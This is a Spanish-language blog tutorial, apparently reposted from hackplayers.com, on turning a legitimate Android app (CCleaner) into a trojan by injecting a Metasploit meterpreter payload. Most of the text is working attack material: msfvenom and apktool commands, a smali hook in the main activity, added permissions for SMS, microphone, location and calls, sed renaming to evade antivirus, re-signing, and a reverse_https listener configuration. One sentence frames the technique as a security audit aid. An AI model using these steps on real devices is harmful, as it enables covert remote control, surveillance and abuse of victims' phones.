Tutorial para modificar un APK añadiéndole un payload msf

Ya sabéis que un APK es un paquete de aplicación de Android (Android Aplication Package) y que es como un .exe de Windows que contiene la aplicación y el instalador en el mismo paquete.

Lo que vamos a ver a continuación es un pequeño tutorial de cómo desempaquetar un .apk, y luego modificarlo añadiendo un componente propio generado por metasploit: un meterpreter para Android. Una vez construyamos ese paquete lo instalaremos en un dispositivo Android consiguiendo que se ejecute la app legítima a la vez que nuestro payload dejando infectado el dispositivo Android.

Cuando nos encontremos ante una auditoría podremos aplicar esta técnica para mostrar las vulnerabilidades de las aplicaciones de Android y recordar que lo importante es no instalar nunca aplicaciones de fuentes poco fiables.

Espero que disfrutéis de este pequeño tutorial tanto como yo lo he disfrutado haciéndolo.


Para empezar generamos el payload para Android con msf:

msfvenom -p android/meterpreter/Payload_Type LHOST=IP_Address LPORT=Incoming_Port -o meterpreter.apk


Luego nos descargamos una apk legítima como por ejemplo 'ccleaner' y decompilamos las dos con apktool:

apktool d –f –o payload meterpreter.apk
apktool d –f –o original ccleaner.apk



Copiamos la carpeta metasploit desde /payload/smali/com/metasploit a /original/smali/com/piriform




Nos vamos la carpeta ./original/ y editamos AndroidManifest.xml (con vim o el editor que queráis)


Buscamos las líneas siguientes que nos servirán como guía para encontrar la ruta a la aplicación principal que es la que nosotros queremos modificar:

<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>

Encima de éstas, encapsulándolas habrá una etiqueta <activity
Nos fijamos en la propiedad Android:name= de esta etiqueta que tendrá una estructura similar a “com.piriform.ccleaner.ui.activity.MainActivity”



Por tanto, ya sabemos el fichero que tenemos que editar de nuestra app legitima (dentro de ./original/smali/), nos vamos a este fichero que será algo parecido a “com/piriform/ccleaner/ui/activity/MainActivity.smali” , es decir, por cada “.” Será una “/”.

Editamos este fichero .smali y buscamos la línea:

;->onCreate(Landroid/os/Bundle;)V

En la siguiente línea a esta ponemos:

invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V

Donde le indicamos que invoque nuestra app que en este caso es el Payload de msf y después continúe con la ejecución normal de la app legitima



Ahora vamos a añadir más permisos a esta app de los que tiene, nos vamos dentro del directorio de la aplicación ./original/ y modificamos el AndoridManifest.xml


Añadiremos los permisos que consideremos, en mi caso puse estos:

<uses-permission android:name="android.permission.ACCESS_COURSE_LOCATION"/>
 <uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
 <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
 <uses-permission android:name="android.permission.SEND_SMS"/>
 <uses-permission android:name="android.permission.RECEIVE_SMS"/>
 <uses-permission android:name="android.permission.RECORD_AUDIO"/>
 <uses-permission android:name="android.permission.CALL_PHONE"/>

Si lo que queremos es ponérselo mas difícil a un antivirus que tuviera el móvil/Tablet podemos hacer lo siguiente dentro del directorio (Esto es opcional) ./original/smali/com/metasploit

sed -i 's/metasploit/conf-schema/g' `rgrep -r metasploit ./* | awk '{print $1}' | cut -d':' -f1`
sed -i 's/Payload/init-conf' `rgrep -r Payload ./* | awk '{print $1}' | cut -d':' -f1`
sed -i 's/payload/init-conf' `rgrep -r payload ./* | awk '{print $1}' | cut -d':' -f1`

Después de eso debemos de cambiar el fichero Payload.smali por init-config.smali


también cambiamos el nombre de /original/smali/com/piriform/metasploit a /original/smali/com/piriform/conf-schema, además de todo eso deberemos de cambiar la línea

invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V

que hemos puesto antes con el nombre correspondiente:

invoke-static {p0}, Lcom/conf-scheme/stage/init-conf;->start(Landroid/content/Context;)V

yo he puesto estos nombres pero podéis poner lo que queráis, ahora vamos a recompilar otra vez la app, hacemos:

apktool b original/

A continuación comenzará a construir nuestra app.


Dentro del directorio ./original/dist estará nuestra apk construida/compilada.

Ahora toca firmar la apk para que esta sea “legitima” por tanto creamos en nuestro home el directorio .android

mkdir ~/.android

Generamos la key para firmar con:

keytool -genkey -v -keystore ~/.android/debug.keystore -storepass android -alias androiddebugkey -keypass android -dname "CN=Android Debug,O=Android,C=US"

Para firmar con esa firma hacemos:

jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg SHA1withDSA /home/xarly/original/dist/ccleaner-v1-17-66.apk androiddebugkey

Ahora nos queda dejar a la escucha el metasploit con:

msfconsole
use exploit/multi/handler
set Payload android/meterpreter/reverse_https
set LHOST 192.168.1.135
set LPORT 8181
set ExitOnSession False
exploit -j –z

Ejecutamos la app en el móvil:



Deberíamos ver como se conecta nuestro meterpreter.

Nota: puede que nos pida que habilitemos las opciones de orígenes desconocidos.


Y bueno este es el final del manual , no voy a explicar el funcionamiento del metasploit ya que si lo conoces es el mismo de siempre y sino lo conoces pues te invito a que sigas los pasos y te aventures a realizar el Lab.

También dejo disponible la versión en PDF por si lo deseáis descargar:


Via: www.hackplayers.com
Tutorial para modificar un APK añadiéndole un payload msf Tutorial para modificar un APK añadiéndole un payload msf Reviewed by Zion3R on 20:53 Rating: 5